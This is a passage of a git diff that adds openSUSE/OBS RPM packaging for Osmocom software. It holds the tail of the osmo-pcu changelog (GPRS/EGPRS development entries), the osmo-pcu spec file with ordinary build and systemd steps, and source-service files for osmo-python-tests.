+- Update to version 0.2.11.git1483698967.06bdb35:
+ * Improve logging
+ * Array indexing for SPB counters in bts statistics.
+ * Refactoring write_packet_ack_nack_desc_egprs to prepare for CRBB support
+
+-------------------------------------------------------------------
+Sun Dec 25 20:33:49 UTC 2016 - mardnh@gmx.de
+
+- Update to version 0.2.11.git1482415783.ee78bf0:
+ * build: be robust against install-sh files above the root dir
+ * configure: check for pkg-config presence
+ * build: add -Wall
+ * EGPRS: Add EPDAN CRBB Tree based decoding
+ * tbf: add llc_queue_size() to check llc_queue is valid before calling size()
+ * llc: remove NULL-pointer check of gprs_llc_queue::size()/octets()
+ * Revert "tbf: Add state WAIT_ASSIGN"
+ * Use qbit-TA to update Timing Advance
+ * jenkins.sh: use osmo-build-dep.sh, output testlogs
+ * Add logging support
+ * EGPRS: add test case to show EPDAN BSN out of window bug
+ * Modify return type of gprs_rlc_dl_window::distance to uint16_t
+ * EGPRS: fix for EPDAN out of window
+ * Handle Timing Advance IE properly
+ * Handle Immediate assignment reject
+ * Handle packet access reject during EPDAN/PDAN with channel description
+ * Add BTS level counters
+ * pcu_l1_if: get rid of magic numbers and use ARRAY_SIZE() for array iteration
+ * Fix GSMTAP logging in case direct PHY access is enabled
+ * Install the pcuif_proto.h header file
+ * Add new BTS level counters
+ * debian: fix: add pcuif_proto.h to osmo-pcu.install
+ * Add debugging log for RLC data block decoding
+ * Sanitizer build fix for TbfTest
+ * Add statistics in the ms and tbf level.
+ * struct pcu_l1_meas_ts: initialize ms_i_level
+ * Fix uninitialized members in pcu_l1_meas()
+ * Add counter at BTS level And statistics at TBF/MS level.
+ * Adds rate_ctr_init in the startup of osmo-pcu
+
+-------------------------------------------------------------------
+Sun Oct 02 09:28:52 UTC 2016 - mardnh@gmx.de
+
+- Update to version 0.2.11.git1474520801.fd9e16c:
+ * Remove unused definitions
+ * Cleanup readme
+ * Remove useless ARFCN parameter
+ * Properly set TA_VALID bit
+ * Add data structure for SPB in EGPRS UL
+ * Add support for SPB handling for EGPRS UL TBF
+ * Extend BTS <-> PCU protocol with measurement
+ * LC: fix build error
+ * jenkins.sh: ensure $MAKE is set
+ * jenkins.sh: use absolute paths instead of 'cd ..' and $PWD
+ * jenkins.sh: more quotes, cosmetics, less dup
+ * jenkins.sh: change build matrix to $with_dsp and $with_vty
+ * jenkins.sh: drop compat with old matrix params
+ * Remove warning while using 'egprs only' command in VTY
+ * Add data structure to handle SPB for EGPRS DL
+ * Modify EGPRS DL TBF flow to support SPB
+ * EGPRS: PUAN encoding: add test case to show wrong urbb_len issue
+ * Fix EGPRS PUAN encoding: use correct urbb_len
+ * Change interface in osmo-pcu for 11 bit RACH
+ * vty: use OSMO_VTY_PORT_PCU instead of number
+ * TBF flow: Coverity fix
+ * TBF flow: unit test compilation error fix
+ * DL: add test case to show wrong window size
+ * GPRS: PUAN encoding: add test case to show wrong BSNs status
+ * Fix GPRS PUAN encoding: wrong BSN status
+ * LC15: Change TRX numbering for the latest Litecell15 hardware
+ * Fix Timing Advance handling
+ * TBF flow: unit test compilation error fix
+ * CSN1 decoding: add test to show bug in CSN_LEFT_ALIGNED_VAR_BMP
+ * Fix CSN1 decoding: CSN_LEFT_ALIGNED_VAR_BMP bounds
+ * DL TS allocation: add test case to show TS allocation bug for 2nd DL TBF
+ * EGPRS: add test case to show LI decoding bug
+ * EGPRS: Fix issue with row 4 of Table 10.4.14a.1 of 44.060 version 7.27.0 Release 7
+ * tbf_dl: factor out EGPRS DL window size calculation
+ * Fix EGPRS DL window calculation during tbf update
+ * Handle EGPRS 11 bit RACH in osmo-pcu
+ * Update the function immediate assignment for EGPRS
+ * heed VTY 'line vty'/'bind' command
+
+-------------------------------------------------------------------
+Sun Jul 17 18:50:57 UTC 2016 - mardnh@gmx.de
+
+- Update to version 0.2.11.git1468479379.df69809:
+ * rlc: Dump RLC data for debugging
+ * edge: Move the GPRS UL Ack/Nack encoding into a separate function
+ * rlc: Use a pointer instead of repeated selector chains
+ * edge: Support EGPRS uplink Ack/Nack messages
+ * rlc: Add and use mod_sns(bsn) method
+ * rlc/edge: Consistently use uint16_t for BSNs and SSNs
+ * rlc: Add constructor to window classes
+ * rlc: Make WS and SNS variable
+ * edge: Move EGPRS setup from setup_tbf to tbf_alloc_ul_tbf
+ * edge: Set the EGPRS window parameters
+ * sched: Assert that the generated message is not empty
+ * encoding: Add bitvec based write_packet_uplink_ack
+ * tbf: Use bitvec based write_packet_uplink_ack
+ * encoding: Remove RlcMacDownlink_t based write_packet_uplink_ack
+ * edge/test: Rename test_rlc_decoder to test_rlc_unit_decoder
+ * tbf: Replace static casts by calls to as_ul_tbf/as_dl_tbf
+ * tbf/vty: Move tbf_print_vty_info to pcu_vty_functions.cpp
+ * tbf: Use LListHead instead of llist_pods
+ * edge: Add max_mcs_ul and max_mcs_dl config
+ * edge: Add methods and operators to GprsCodingScheme
+ * edge: Add initial_mcs_dl and initial_mcs_ul config values
+ * edge: Replace integer cs by GprsCodingScheme
+ * edge: Show current mode in VTY
+ * edge: Support EGPRS in write_packet_downlink_assignment
+ * tbf: Remove bogus gprs_rlcmac_dl_tbf::enable_egprs
+ * edge: Enable EGPRS in downlink TBFs
+ * edge: Add work-around to get DL EGPRS from MS object
+ * edge: Remove int casting operator from GprsCodingScheme
+ * edge: Rename gprs_rlc_ul_header_egprs and gprs_rlc_ul_data_block_info
+ * edge: Fix RLC message size
+ * edge: Add numDataHeaderBitsUL/DL and numDataBlockHeaderBits methods
+ * rlc: Add info fields for downlink
+ * edge: Add init functions for gprs_rlc_data_info
+ * edge: Add encoder for downlink RLC data blocks
+ * tbf: Remove obsolete TLLI functions
+ * tbf/test: Add missing function name printfs
+ * edge: Use RLC data block encoding functions
+ * edge: Add Encoding::rlc_data_to_dl_append
+ * edge: Use rlc_data_to_dl_append in create_new_bsn
+ * edge: Select implementation by mode in rlc_data_to_dl_append
+ * edge: Support MCS data block encoding
+ * edge: Provide and use CS -> CPS conversion
+ * edge: Workaround to fix decoding of EGPRS_AckNack_w_len_t
+ * edge: Handle EGPRS PACKET DOWNLINK ACK NACK
+ * edge: Add experimental support for uplink CRBB
+ * edge: Enable CRBB decoding
+ * decode: Add bitvec based GPRS DL ACK/NACK decoder
+ * edge: Add a bitvec based Decoding::extract_rbb function
+ * edge: Add bitvec based DL window updating methods
+ * edge: Use num_blocks in gprs_rlcmac_dl_tbf::analyse_errors
+ * tbf: Use bitvec based window methods for GPRS
+ * edge: Use bitvec based window methods for EGPRS
+ * edge: Call update_window even if FINAL_ACK_INDICATION is set
+ * edge: Fix initial coding scheme selection
+ * edge: Fix MCS range in VTY
+ * edge: Disable GPRS/EGPRS mixed mode
+ * edge: Work-around to use EGPRS if there was no DL RA Cap
+ * rlc: Add unified gprs_rlc_window parent class
+ * tbf: Add gprs_rlcmac_tbf::window() method
+ * utils: Add pcu_bitcount and pcu_lsb
+ * tbf/vty: Fix the CS output and show the EGPRS MS class
+ * edge: Make window size configurable
+ * tbf: Show window parameters in VTY
+ * bssgp: Add hand-coded extended RA Cap parser
+ * Revert "bssgp: Add hand-coded extended RA Cap parser"
+ * rlc: Add decode_gsm_ra_cap to decode Radio Access Caps
+ * edge: Get EGPRS MS class from downlink BSSGP
+ * tbf: Low prio for BSSPG values for GPRS/EGPRS MS class
+ * bssgp: Ignore downlink BSSGP RA Cap IE
+ * tbf: Refactor calls to write_immediate_assignment
+ * tbf: Use the control TS for Immediate Assignments
+ * Revert "tbf: Use the control TS for Immediate Assignments"
+ * tbf: Add counters for aborted TBF in state FLOW
+ * tbf: Add abort method for downlink TBF
+ * tbf: Do not reuse old TBF after RACH requests
+ * sched: Pass the current TS to the control create functions
+ * tbf: Use is_control_ts() instead of comparing TS values directly
+ * tbf: Mark control slots in VTY TBF out
+ * tbf: Add and use tbf->poll_ts
+ * tbf: Add check_polling/set_polling
+ * tbf: Use TLLI as ID if TFI not yet assigned
+ * tbf: Don't change type from CCCH to PACCH without ack
+ * pcu: Add bitvec_write_field_lh
+ * encoding: Use explicit LH encoding in write_immediate_assignment
+ * encoding: Refactor write_immediate_assignment
+ * encoding: Redesign Encoding::write_immediate_assignment API
+ * edge: Support EGPRS in IMM ASSIGNMENT
+ * tbf: Only free TBF if it was replaced in rcv_control_ack
+ * sched: Do PACCH assignments for the same direction last
+ * ms: Add current_pacch_slots method
+ * tbf: Add state WAIT_ASSIGN
+ * rlc: Support encoding of EGPRS header type 1 + 2
+ * edge/vty: Set initial MCS
+ * cs: Add family related methods
+ * cs: Add GprsCodingScheme::optionalPaddingBits
+ * rlc: Add with_padding argument to gprs_rlc_data_info_init_dl/ul
+ * rlc: Add gprs_rlc_mcs_cps_decode
+ * rlc: Use the rlc structure to access the data unit in the RLC message
+ * tbf/tests: Add tests for EGPRS TBF establishment
+ * ms: Fix GprsMs::current_cs_dl()
+ * edge: Refactor create_dl_acked_block for multi-block support
+ * edge: Send a second BSN block in an RLC message if possible
+ * edge: Compare len instead of using cs.isCombinable
+ * edge: Work-around to not use MCS-6 with padding
+ * edge: Support all coding schemes for BSSGP flow control
+ * Ignore files generated by cscope tool
+ * Introduce --gsmtap-ip/-i option
+ * Add gsmtap support to generic bts
+ * alloc: Fix UBSAN for accessing the array at -16
+ * Refactor coding scheme assignment code
+ * Revert "Refactor coding scheme assignment code"
+ * tbf: Fix copy and paste in the set_mode routine
+ * pcu: Fix compiler warning about using string
+ * Fix encoding of padding bits to start with 0 bit
+ * Add test vectors for EGPRS messages
+ * Fix issue in encoding CSN_RECURSIVE_ARRAY
+ * Introduce EGPRS header type1 and type2 in UL
+ * Refactor the Uplink RLC header parsing function
+ * Add data structure for CPS calculation in DL
+ * Update CPS calculation with new data structures
+ * Support puncturing scheme selection for EGPRS DL
+ * fix compiler warnings about format string for size_t
+ * debian: Initial debian packaging
+ * misc: Ignore test files and debian packaging
+ * jenkins: Add the build script from jenkins here
+ * Cleanup build leftovers
+ * Rename define for direct hw access
+ * Restructure sources
+ * Enable subdir-objects automake option
+ * add .gitreview
+ * Change internal API for consistency
+ * Add support for NuRAN Wireless Litecell 1.5 BTS
+ * move statistics counter rlc_sent() to gprs_rlcmac_sched
+ * introduce new counter rlc_sent_dummy
+ * bts/rate_ctr: replace spaces by tabs
+ * tbf_dl: replace cross-file declaration with correct header
+ * gprs_rlcmac_sched: fix mistype of CONTROL ACK
+ * introduce new counter rlc_sent_control
+ * bts/counter: replace '_' with '-' in counter names
+ * rlc.h: remove duplicated define RLC_EGPRS_SNS
+ * tbf_ul: use correct size for chunk_size
+ * add comments to describe functions
+ * decoding: improve and add comments
+ * encoding: add doxygen for rlc_data_to_dl_append*
+ * rlc.h: correct gprs_rlc_data comment
+ * decoding: remove superfluous double-semicolon
+ * tbf_dl: comment why we sent a dummy LLC packets to delay the release of the TBF
+ * encoding/rlc_copy_from_aligned_buffer: export written payload bytes via an argument
+ * add KPI counter to count bytes for RLC and LLC frames
+ * tbf_dl: correct tbf name in log message for moving a DL TBF
+ * tbf: replace this == NULL check in tbf->name
+ * Add test cases for Header Type 2 in EGPRS UL
+ * Remove GMSK only check in EGPRS UL
+ * Add Header Type2 support in EGPRS UL
+ * Add header type 1 support for EGPRS uplink
+ * Add test cases for Header type1 in EGPRS UL
+ * typo in warning
+ * systemd service file: Stop using deprecated '-e' option
+ * Add data structure for ARQ-II in EGPRS DL
+ * Add Accessor functions for ARQ-II in EGPRS DL
+ * Modify DL tbf flow for ARQ-II in EGPRS DL Retx
+ * Add test cases to support ARQ-II for EGPRS DL Retx
+ * bitvector: Remove code clone and fallback to C implementation
+ * egprs: Use RLC/MAC headers from libosmocore
+
+-------------------------------------------------------------------
+Sat Feb 20 22:22:16 UTC 2016 - mardnh@gmx.de
+
+- Update to version 0.2.11.git1455448458.7f4841b:
+ + edge: Get EGPRS multislot class
+ + edge: Add egprs config command
+ + edge: Support EGPRS in packet uplink assignment message
+ + edge: Add m_egprs_enabled and related methods to TBF
+ + edge: Support EGPRS multislot class handling in tbf_alloc
+ + edge: Enable EGPRS if configured and egprs_ms_class present
+ + edge: Extend gprs_rlcmac_dl_tbf::handle by egprs_ms_class
+ + edge: Add GprsCodingScheme class
+ + edge: Add test for GprsCodingScheme
+ + edge: Use GprsCodingScheme to adjust the UL RLC block size
+ + edge: Add gprs_rlcmac_pdch::rcv_block_egprs stub
+ + edge: Rename rcv_data_block_acknowledged
+ + edge: Add header type property to GprsCodingScheme
+ + rlc: Check endianness for bit field declarations
+ + edge: Add information about data blocks to GprsCodingScheme
+ + edge: Add unified decoder methods for GPRS/EGPRS
+ + edge: Add test cases for rlc_data_from_ul_data
+ + rlc: Do not raise_v_q in receive_bsn
+ + edge: Add is_received and invalidate_bsn to gprs_rlc_ul_window
+ + edge: Store GprsCodingScheme in gprs_rlc_data
+ + tbf: Refactor parts of extract_tlli into set_tlli_from_ul
+ + edge: Add methods for unified GPRS/EGPRS UL data block handling
+ + edge: Implement gprs_rlcmac_pdch::rcv_block_egprs
+ + edge: Use a single PDCH rcv_data_block method for GPRS and EGPRS
+ + edge: Remove unused GPRS functions
+ + sched: Change next_ctrl_prio increment
+ + edge: Fix data block decoder (Coverity)
+ + edge: Remove leftover comments from encoding.c
+ + pcu: Fix memory corruption bugs (ASAN)
+ + Fix missing '-V / --version' in print_help()
+
+-------------------------------------------------------------------
+Sat Dec 26 22:55:23 UTC 2015 - mardnh@gmx.de
+
+- Update to version 0.2.11.git1448881908.111ebe8:
+ + bssgp: Use measured leak rate for flow control
+ + stats: Attempt to compile fix the new rate_ctr
+ + stats: Include the header file for the new class identifier
+ + rename sysmo_sock.cpp to osmobts_sock.cpp
+ + print/log OpenBTS / OsmoBTS variant in PCU startup
+ + osmobts_sock.cpp: Add missing space in log statement.
+ + remove obsolete OpenBTS PCU interface support
+ + stats: Enable stats subsystem
+ + pcu: Improve default config
+ + encoder: Whitespace fixes
+ + stat: Add global stat group
+ + pcu: Enable dl-tbf-idle-time and idle-ack-delay by default
+ + Revert "pcu: Improve default config"
+
+-------------------------------------------------------------------
+Mon Sep 21 07:37:34 UTC 2015 - mardnh@gmx.de
+
+- Update to version 0.2.11.git1441627835.7c8d39a:
+ + sba: Fix loop exit in SBAController::alloc (Coverity)
+ + alloc: Merge find_least_busy_pdch and find_least_reserved_pdch
+ + alloc: Use an enum instead of numbers to select the mask
+ + alloc: Select applicable Tta/Tra
+ + alloc: Do not use masking for multislot class type 2 MS
+ + alloc: Fix MS_B/MS_C interpretation
+ + alloc/test: Check for TFI conflicts
+ + pdch: Manage TFIs per direction
+ + tbf: Move TFI selection into alloc_algorithm
+ + alloc: Allocate TFI per slot (algorithm A)
+ + tbf: Put the TFI->TBF mapping into the PDCH objects
+ + ms: Add is_idle() method to GprsMs::Guard
+ + alloc/test: Put TBF allocation loop into alloc_many_tbfs
+ + alloc/test: Add test for interleaved TBF chains
+ + alloc: Remove redundant first_common_ts handling
+ + alloc: Refactor alloc algorithms to only apply changes on success
+ + alloc: Remove disabled code fragment for multi-UL allocation
+ + alloc: Add 'dynamic' allocation algorithm
+ + alloc: Add counters for successful algo A/B allocations
+ + pcu: Use alloc_algorithm_dynamic by default
+ + alloc: Change tx_window optimization strategy
+ + alloc/test: Show expectation before failure
+ + alloc: Use a separate usage computation for algo A
+ + alloc/test: Use lower case for slots with TFI shortage
+ + alloc/test: Free the TBF if the recursion has failed
+ + alloc/test: Fix trx_no assertion
+ + alloc: Make alloc_algorithm_dynamic stateful
+ + bssgp: Adapt flowcontrol MS default to current alloc algorithm
+ + llc: Add CoDel AQM implementation
+ + llc: Use CoDel to drop packages from the LLC queue
+ + pcu: Enable LLC CoDel by default
+ + bssgp: Fix leak rate computation CS value
+ + tbf: Always start T3193 when changing state to GPRS_RLCMAC_WAIT_RELEASE
+ + tbf: Handle TLLI change on DL
+ + ms: Set default CoDel interval to 4s
+ + pcu: Update example config file
+ + tbf: Clean old MS objects if they have the same TLLI
+ + tbf: Use update_ms instead of confirm_tlli in handle()
+ + ms: Do not retrieve MS with IMSI 000 from the storage
+ + vty: Change API to have node installation be done by int
+ + ns: Add logging support
+ + ns: Reconnect NSVC after timeout
+ + ms: Move MS information merging to GprsMS
+ + tbf/test: Move UL TBF establishment into separate functions
+ + tbf: Fix typos in log messages concerning UL/DL
+ + tbf/test: Fix existing tests
+ + tbf/test: Add tests for RACH while DL TBFs are active
+ + tbf: Do not kill DL TBF on Packet Resource Request
+ + llc: Add move_and_merge method to llc_queue
+ + tbf: Move pending LLC frames when merging MS objects
+ + tbf/test: Move UL MAC block encoding into a separate function
+ + tbf/test: Add send_rlc_block function with a TBF as parameter
+ + tbf/test: Simplify RLC block number handling
+ + tbf/test: Rename send_rlc_block to request_dl_rlc_block
+ + tbf/test: Do RLC based ack instead of just faking
+ + tbf/test: Add test_tbf_dl_reuse
+ + tbf: Use C++/talloc magic to support TBF constructors/destructors
+ + llist: Add missing const qualifier in llist cast method
+ + bssgp: Only call bssgp_tx_llc_discarded if the bctx exists
+ + ms: Store references to replaced TBFs in the MS object
+ + ms/vty: Show old TBFs
+ + ms/vty: Show LLC queue octets and packets in both views
+ + openbts: Remove unused declaration of fl1h in udp_read_cb
+ + tbf: Use explicit initialisations in constructor (Coverity)
+ + tbf: Add logging for polling
+ + poll: Add a max_delay parameter to PollController::expireTimedout
+ + poll: Set the max_delay to 60 frames
+ + poll: Use the data_ind FN as time source for current frame
+ + poll: Count unexpected block FN values
+ + l1: Use the FN of all data_ind/ra_ind DSP messages
+ + Revert "tbf: Do not kill DL TBF on Packet Resource Request"
+ + tbf: Keep the old MS object alive in extract_tlli
+ + tbf: Refactor reuse_tbf into releasing and DL TBF establishment
+ + bts: Release DL TBF instead of killing in rcv_resource_request
+ + bts: Start a DL TBF if needed after establishment of an UL TBF
+ + poll: Count failed procedures
+
+-------------------------------------------------------------------
+Tue Jul 14 18:15:31 UTC 2015 - mardnh@gmx.de
+
+- Update to version 0.2.11.git1436856715.3db617f:
+ + Fix VTY documentation
+ + tbf: Fix dereference before null check
+ + tests: Fix library link order
+ + tbf/test: Modify test to create a dangling TBF pointer
+ + tbf: Fix dangling m_new_tbf pointer
+ + tbf: Don't use 'old' DL TBFs after reuse_tbf
+ + pcu: Fix log message
+ + tbf: Add name() method and put the buf into the tbf
+ + tbf: Reduce m_new_tbf logging messages
+ + sched: Modify DL scheduling to use different priorities
+ + tbf: Fix scheduling for DL Ack/Nack request
+ + bssgp: Set blocking and reset timer to 30s
+ + bssgp: Handle BSSGP STATUS messages
+ + llc: Add put_dummy_frame to create an LLC dummy command
+ + tbf: Refactor create_dl_acked_block
+ + tbf: Add helper functions for DL TBFs
+ + tbf/test: Put BTS setup and DL TBF creation into helper functions
+ + tbf/test: Fix fn/block_nr in test_tbf_final_ack
+ + tbf: Add frames_since_last_poll method
+ + tbf: Use put_frame in append_data if the TBF has no data
+ + tbf: Insert LLC dummy command if no frame is available
+ + tbf: Implement delayed release of a downlink TBF
+ + tbf/test: Add test for delayed release
+ + tbf: Only create dummy frames if necessary
+ + tbf: Poll MS on idle DL TBFs
+ + pcu: Add pcu_utils.h to Makefile.am
+ + tbf: Use a hysteresis when discarding DL LLC frames
+ + tbf: Force ACK after the last DL LCC frame has been received
+ + vty: Use libosmocore VTY standards
+ + tbf/test: Add test for DL TBF exhaustion
+ + tbf: Send BSSGP LLC discarded on TBI exhaustion
+ + pcu: Call bssgp_set_log_ss(DBSSGP) in main()
+ + tbf: Remove double assigment to m_last_dl_drained_fn
+ + vty: Fix warnings about undeclared functions
+ + vty: Fix value range of commands accepting csecs
+ + pcu: Fix non-critical warnings
+ + l1if: Add missing function prototypes
+ + pcu_emu/test: Initialise current_test
+ + tbf/test: Fix old_tbf argument to tbf_alloc_ul_tbf
+ + tbf: Added calls to llc_dropped_frame
+ + bssgp: Make BVC bucket size / leak rate configurable
+ + bssgp: Compute BVC bucket size and leak rate
+ + bssgp: Add VTY command to Limit the bucket size by time
+ + bssgp: Compute and transmit queue delay
+ + bssgp: Increment BSSGP flow control tag value
+ + ms: Add GprsMs class to hold per-MS information
+ + tbf: Add MS object management to TBF code
+ + tbf/test: Optionally show talloc report
+ + llist: Add a C++ wrapper for linux_list
+ + ms: Add MS storage class
+ + ms: Integrate the MS storage
+ + ms: Support new and old TLLIs
+ + tbf: Get the TLLI from the MS object
+ + tbf: Explicitly pass the direction to update_ms()
+ + tbf: Just pass the MS object in reuse_tbf
+ + llist: Reduce the external dependencies of this test
+ + misc: Update the email address to point to the current ML
+ + write_queue: Check the result of osmo_wqueue_enqueue and free
+ + tbf: Remove the TLLI from the TBFs
+ + tbf: Always call set_tlli/confirm_tlli in update_ms
+ + tbf/test: Fix IMSI creation
+ + tbf: Move IMSI to MS object
+ + ms: Use the IMSI to retrieve the MS object
+ + tbf: Remove IMSI handling from trigger_dl_ass
+ + tbf/test: Attach TLLI and MS objects to TBFs
+ + tbf: Remove TBF chaining (m_new_tbf and m_old_tbf)
+ + tbf/test: Add tests for single and two phase access
+ + tbf: Store the timing advance (TA) value in the GprsMs object
+ + tbf: Remove TimingAdvance storage
+ + ms: Add timer
+ + tbf: Set MS timeout
+ + pcu: Set ms_idle_sec to 60s
+ + l1: Fix warning by logging acc_delay
+ + llc: Separate LLC queue handling from gprs_llc
+ + llc: Add missing declarations to llc.h
+ + tbf: Make the ms() getter method const
+ + tbf: Move the LLC queue to GprsMs
+ + tbf: Store MS class in GprsMs objects
+ + ms: Add back pointer to BTS
+ + tbf: Move the current CS field to GprsMs
+ + vty: Add a file for C++ functions
+ + vty: Add 'show ms all' command
+ + tbf: Add adaptive DL CS adjustment
+ + tbf: Add debugging output to analyse_errors()
+ + tbf: Add adaptive coding scheme configuration
+ + tbf: Ignore lost+recv == 1
+ + ms: Add blocking period for CS upgrade
+ + ms: Add support for maximum CS values
+ + vty: Add command to show detailed MS info
+ + bssgp: Handle btcx == NULL in gprs_bssgp_pcu_rx_sign (Coverity)
+ + llc: Fix LLC UI frame detection (Coverity)
+ + bssgp: Calculate the avg_delay_ms in 32bit only (Coverity)
+ + tbf: Check for NULL in name() (Coverity)
+ + ms: Add missing initialiser for m_delay (Coverity)
+ + ms: Fix timer start condition (Coverity)
+ + build: Add -lrt to AM_LDFLAGS
+ + l1: Pass all L1 measurements upwards
+ + ms: Store the L1 measurement values in the MS objects
+ + ms: Add UL CS selection based on L1 link quality
+ + l1: Store measurement values sent by the MS
+ + l1: Add debug log messages for I_LEVEL
+ + tbf: Include CS into create_new_bsn log message
+ + ms: Store the NACK rate in the MS object
+ + tbf/test: Add test for DL LLC packet loss
+ + tbf: Fix downlink packet loss
+ + llc/test: Add test program for LLC related tests
+ + llc: Add missing include directive to llc.h
+ + llc: Keep track of the number of stored LLC octets
+ + ms: Reduce DL CS level if only a few LLC bytes are left
+ + llc: Make timeval arguments const
+ + llc: Move storage of timestamps into gprs_llc_queue
+ + llc: Add missing include directive for struct timeval
+ + llc/test: Explicitly enable extended initialiser lists
+ + Revert "llc/test: Explicitly enable extended initialiser lists"
+ + llc/test: Use a portable way to set timeval variables
+ + vty: Fix documentation for 'no cs downgrade-threshold'
+ + tbf: Remove update_tlli method
+ + tbf: Pass the MS object around instead of old_tbf
+ + tbf: Always create an MS object on TBF allocation
+ + tbf: Add BTS::ms_alloc method
+ + alloc/test: Add test for successive allocation
+ + alloc/test: Enhance test_alloc_a
+ + alloc/test: Use LOGL_DEBUG environment variable
+ + tbf/test: Add assertions
+ + tbf: Maintain the number of TBF per PDCH
+ + ms: Add first_common_ts method to GprsMs
+ + ms: Add tbf() method to get the TBF based on the direction
+ + tbf: Add GprsMs* argument to update() and use it in reuse_tbf
+ + alloc: Load balancing for algo A
+ + ms: Add support for slot reservation
+ + ms: Get the set of slots currently active
+ + alloc: Ignore slots with differing TSC if multiple slots are requested
+ + alloc: Base algo A on reserved PDCHs
+ + tbf: Set ms in call to tbf_alloc_dl_tbf
+ + tbf: Remove call to update() in reuse_tbf
+ + Revert "tbf: Add GprsMs* argument to update() and use it in reuse_tbf"
+ + tbf: Add Poll Timeout counters
+ + alloc: Replace Algorithm B implementation
+ + alloc: Only use common UL slots when calculating the capacity
+ + alloc: Set minimum slot capacity to 1
+ + alloc: Only reserve 1 UL slot with algorithm B
+ + alloc: Skip common TS without free USF when rating
+ + tbf: Keep a set of used TFI and USF per PDCH
+ + alloc: Optimize find_free_usf
+ + alloc: Disable inner loop debugging by default
+ + sba: Reverse TS search order
+ + alloc/test: Delete first TBF after the second is allocated
+ + alloc: Use least reserved PDCH for algo A
+ + llc: Fix comparison warning
+
+-------------------------------------------------------------------
+Thu Dec 18 19:31:41 UTC 2014 - mardnh@gmx.de
+
+- Update to version 0.2.11.git1411120899.07e3930:
+ + TbfTest: Make logging more verbose
+ + tbf: Include TBF state in tbf_name output
+ + tbf,bts: Keep track of new TBF for dl/ul assignment in m_new_tbf
+ + tests/tbf: Test for final ack issue
+ + tbf: Handle DL ACK/NACK poll timeout correctly
+ + poll_controller: Be stricter with the timeout handling
+ + tbf_dl: Fix warnings
+ + tests/tbf: Use correct function to enqueue llc data
+ + tests/tbf: Commit TbfTest.err *with* whitespace "errors"
+
+-------------------------------------------------------------------
+Wed Jul 2 19:31:36 UTC 2014 - mardnh@gmx.de
+
+- update to version 0.2.11+git.1404305867.e8915b9
+- specfile cleanup
+- make check is br0ken - disabled for now
+
+-------------------------------------------------------------------
+Tue Apr 15 08:24:39 UTC 2014 - mardnh@gmx.de
+
+- update to version 0.2.11+git.1389776622.6f0796a
+
+-------------------------------------------------------------------
+Wed Sep 4 18:21:21 UTC 2013 - mardnh@gmx.de
+
+- update to version 0.2.11.git9d93838
+
+-------------------------------------------------------------------
+Fri Aug 16 19:27:41 UTC 2013 - mardnh@gmx.de
+
+- initial package written from scratch
+
diff --git a/rpm-local/spec/osmo-pcu/osmo-pcu.spec b/rpm-local/spec/osmo-pcu/osmo-pcu.spec
new file mode 100644
index 0000000..56083b3
--- /dev/null
+++ b/rpm-local/spec/osmo-pcu/osmo-pcu.spec
@@ -0,0 +1,82 @@
+#
+# spec file for package osmo-pcu
+#
+# Copyright (c) 2017, Martin Hauke <mardnh@gmx.de>
+#
+# All modifications and additions to the file contributed by third parties
+# remain the property of their copyright owners, unless otherwise agreed
+# upon. The license for this file, and modifications and additions to the
+# file, is the same license as for the pristine package itself (unless the
+# license for the pristine package is not an Open Source License, in which
+# case the license is the MIT License). An "Open Source License" is a
+# license that conforms to the Open Source Definition (Version 1.9)
+# published by the Open Source Initiative.
+
+# Please submit bugfixes or comments via http://bugs.opensuse.org/
+#
+
+
+Name: osmo-pcu
+Version: 0.8.0.117
+Release: 0
+Summary: Osmocom GPRS Packet Control Unit (PCU)
+License: GPL-2.0-only
+Group: Productivity/Telephony/Servers
+URL: https://osmocom.org/projects/osmopcu/wiki/OsmoPCU
+Source: %{name}-%{version}.tar.xz
+BuildRequires: autoconf
+BuildRequires: automake
+BuildRequires: gcc-c++
+BuildRequires: libtool
+BuildRequires: pkgconfig >= 0.20
+BuildRequires: systemd-rpm-macros
+BuildRequires: pkgconfig(libosmocore) >= 1.1.0
+BuildRequires: pkgconfig(libosmogb) >= 1.1.0
+BuildRequires: pkgconfig(libosmogsm) >= 1.1.0
+BuildRequires: pkgconfig(libosmovty) >= 1.1.0
+%{?systemd_requires}
+
+%description
+Osmocom PCU code (RLC/MAC/PCU) for OpenBTS and OsmoBTS.
+
+%prep
+%setup -q
+
+%build
+echo "%{version}" >.tarball-version
+autoreconf -fi
+%configure \
+ --enable-shared \
+ --disable-static \
+ --docdir=%{_docdir}/%{name} \
+ --with-systemdsystemunitdir=%{_unitdir}
+make %{?_smp_mflags}
+
+%install
+%make_install
+
+%preun
+%service_del_preun %{name}.service
+
+%postun
+%service_del_postun %{name}.service
+
+%pre
+%service_add_pre %{name}.service
+
+%post
+%service_add_post %{name}.service
+
+%check
+make %{?_smp_mflags} check || (find . -name testsuite.log -exec cat {} +)
+
+%files
+%license COPYING
+%doc README.md
+%doc %{_docdir}/%{name}/examples
+%{_bindir}/osmo-pcu
+%dir %{_sysconfdir}/osmocom
+%config(noreplace) %{_sysconfdir}/osmocom/osmo-pcu.cfg
+%{_unitdir}/%{name}.service
+
+%changelog
diff --git a/rpm-local/spec/osmo-python-tests/_service b/rpm-local/spec/osmo-python-tests/_service
new file mode 100644
index 0000000..e90329f
--- /dev/null
+++ b/rpm-local/spec/osmo-python-tests/_service
@@ -0,0 +1,17 @@
+<services>
+ <service name="tar_scm" mode="disabled">
+ <param name="scm">git</param>
+ <param name="url">git://git.osmocom.org/python/osmo-python-tests</param>
+ <param name="revision">master</param>
+ <param name="versionformat">git%ct.%h</param>
+ <param name="versionprefix">0.0.0</param>
+ <param name="package-meta">yes</param>
+ <param name="changesgenerate">enable</param>
+ </service>
+ <service name="recompress" mode="disabled">
+ <param name="compression">xz</param>
+ <param name="file">*.tar</param>
+ </service>
+ <service name="set_version" mode="disabled">
+ </service>
+</services>
diff --git a/rpm-local/spec/osmo-python-tests/_servicedata b/rpm-local/spec/osmo-python-tests/_servicedata
new file mode 100644
index 0000000..5166d68
--- /dev/null
+++ b/rpm-local/spec/osmo-python-tests/_servicedata
@@ -0,0 +1,4 @@
+<servicedata>
+<service name="tar_scm">
+ <param name="url">git://git.osmocom.org/python/osmo-python-tests</param>
+ <param name="changesrevision">4a7a208ce04126b96f91e084848f89c1e171179f</param></service></servicedata> \ No newline at end of file
diff --git a/rpm-local/spec/osmo-python-tests/osmo-python-tests.changes b/rpm-local/spec/osmo-python-tests/osmo-python-tests.changes
new file mode 100644
index 0000000..2f1b771
--- /dev/null
+++ b/rpm-local/spec/osmo-python-tests/osmo-python-tests.changes
@@ -0,0 +1,84 @@
+-------------------------------------------------------------------
